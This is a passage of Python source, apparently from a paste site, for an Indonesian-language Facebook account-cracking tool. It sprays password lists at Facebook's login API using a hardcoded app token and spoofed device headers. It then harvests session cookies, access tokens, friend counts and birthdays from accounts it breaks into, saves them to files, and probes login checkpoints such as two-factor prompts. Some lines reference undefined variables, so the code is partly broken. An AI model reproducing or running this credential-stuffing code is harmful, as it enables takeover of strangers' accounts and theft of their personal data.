  1037.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1038.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1039.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1040.                         printz(tree)
  1041.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1042.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1043.                         wr.write(save)
  1044.                         wr.close()
  1045.                     break
  1046.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  1047.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1048.                     except (Exception) as e: convert_username = username
  1049.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1050.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1051.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1052.                     printz(tree)
  1053.                     self.cp+=1
  1054.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1055.                         wr.write(f'{convert_username}|{passe}\n')
  1056.                         wr.close()
  1057.                     break  
  1058.                 else: continue
  1059.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1060.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1061.                 time.sleep(31)
  1062.         self.lp+=1  
  1063.  
  1064.     def ExecBapi(self, username, password):
  1065.         byps = requests.Session()
  1066.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1067.         ua_generate = Requ().useragent_api()
  1068.         while True:
  1069.             try:
  1070.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1071.                 else: ua_generate
  1072.                 byps.headers.update({
  1073.                      'content-type':'application/x-www-form-urlencoded',
  1074.                      'x-fb-sim-hni':str(random.randint(20000, 40000)),
  1075.                      'x-fb-connection-type':'unknown',
  1076.                      'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
  1077.                      'user-agent': ua_generate,
  1078.                      'x-fb-net-hni':str(random.randint(20000, 40000)),
  1079.                      'x-fb-connection-bandwidth':str(random.randint(10000, 90000)),
  1080.                      'x-fb-connection-quality':'EXCELLENT',
  1081.                      'x-fb-friendly-name':'authenticate',
  1082.                      'accept-encoding':'gzip, deflate',
  1083.                      'x-fb-http-engine':'Liger'
  1084.                  })
  1085.                 self.payload = {
  1086.                     'adid': str(uuid.uuid4()),
  1087.                     'cpl':'true',
  1088.                     'credentials_type':'device_based_login_password',
  1089.                     'source': 'device_based_login',
  1090.                     'error_detail_type':'button_with_disabled',
  1091.                     'source':'login',
  1092.                     'format':'json',
  1093.                     'generate_session_cookies':'1',
  1094.                     'generate_analytics_claim':'1',
  1095.                     'machine_id': ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),
  1096.                     'generate_machine_id':'1',
  1097.                     'locale':'en_US',
  1098.                     'client_country_code':'US',
  1099.                     'device_id': str(uuid.uuid4()),
  1100.                     'method': 'auth.login',
  1101.                     'fb_api_req_friendly_name': 'authenticate',
  1102.                     'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'
  1103.                 }
  1104.                 break
  1105.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecBapi(username, password)
  1106.             except Exception as e: pass
  1107.         for passe in password:
  1108.             try:
  1109.                 self.payload.update({'email': username,'password': passe})
  1110.                 self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
  1111.                 if "session_key" in str(self.response.text) and "access_token" in str(self.response.text):
  1112.                     self.ok+=1
  1113.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1114.                     access_token = self.payload.json()['access_token']
  1115.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1116.                     except Exception as e: convert_username = username
  1117.                     if 'ya' in self.opsi:
  1118.                         try:
  1119.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1120.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1121.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1122.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1123.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1124.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1125.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1126.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1127.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1128.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1129.                             else:
  1130.                                 for apk in active: true.add(f"{apk}")
  1131.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1132.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1133.                             else:
  1134.                                 for apk in inactive: true.add(f"{apk}")
  1135.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1136.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1137.                             else:
  1138.                                 for apk in deleted: true.add(f"{apk}")
  1139.                             printz(tree)
  1140.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1141.                         except (Exception) as e:
  1142.                             print(e)
  1143.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1144.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1145.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1146.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1147.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1148.                             printz(tree)
  1149.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1150.                     else:
  1151.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1152.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1153.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1154.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1155.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1156.                         printz(tree)
  1157.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1158.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1159.                         wr.write(save)
  1160.                         wr.close()
  1161.                     break
  1162.                 elif "User must verify their account" in self.response.text:
  1163.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1164.                     except (Exception) as e: convert_username = username
  1165.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1166.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1167.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1168.                     printz(tree)
  1169.                     self.cp+=1
  1170.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1171.                         wr.write(f'{convert_username}|{passe}\n')
  1172.                         wr.close()
  1173.                     break  
  1174.                 else: continue
  1175.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1176.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1177.                 time.sleep(31)
  1178.         self.lp+=1
  1179.        
  1180.     def DetedtorChekpoint(self, username, passwd):      
  1181.         try:
  1182.             byps = requests.Session()
  1183.             soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
  1184.             resp = soup.find("form",{"method":"post"})
  1185.             for x in soup("input"): data.update({x.get("name"):x.get("value")})
  1186.             data.update({"email":username,"pass":passwd})
  1187.             repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
  1188.             resp2 = bs(repo.text, "html.parser")
  1189.             if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
  1190.             if "c_user" in byps.cookies.get_dict():
  1191.                 if "Akun Anda Dikunci" in repo.text:
  1192.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1193.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1194.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1195.                     tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1196.                     printz(tree)
  1197.                 else:
  1198.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1199.                     true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1200.                     tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1201.                     tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1202.                     printz(tree)
  1203.             elif "checkpoint" in byps.cookies.get_dict():
  1204.                 title = re.findall("\<title>(.*?)<\/title>",str(resp2))
  1205.                 repo2 = resp2.find("form",{"method":"post"})
  1206.                 for x in resp2("input"):
  1207.                     if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
  1208.                     resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
  1209.                     resu2 =bs(resu.text,"html.parser")
  1210.                     cek=[cek.text for cek in resu2.find_all("option")]
  1211.                     if(len(cek)==0):
  1212.                         if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1213.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1214.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1215.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1216.                             tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1217.                             printz(tree)
  1218.                         elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
  1219.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1220.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1221.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1222.                             tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1223.                             printz(tree)
  1224.                         elif "Lihat notifikasi di perangkat lain" in str(resp2):
  1225.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1226.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1227.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1228.                             tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1229.                             printz(tree)
  1230.                         else:
  1231.                             tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1232.                             true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1233.                             tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1234.                             tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1235.                             printz(tree)
  1236.                     else: pass
  1237.                     for opt in range(len(cek)):
  1238.                         tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1239.                         true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1240.                         tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1241.                         tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1242.                         printz(tree)
  1243.             else:
  1244.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1245.                 true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
  1246.                 tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1247.                 tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
  1248.                 printz(tree)
  1249.         except (Exception) as e: pass
  1250.        
  1251.  
Add Comment
Please, Sign In to add comment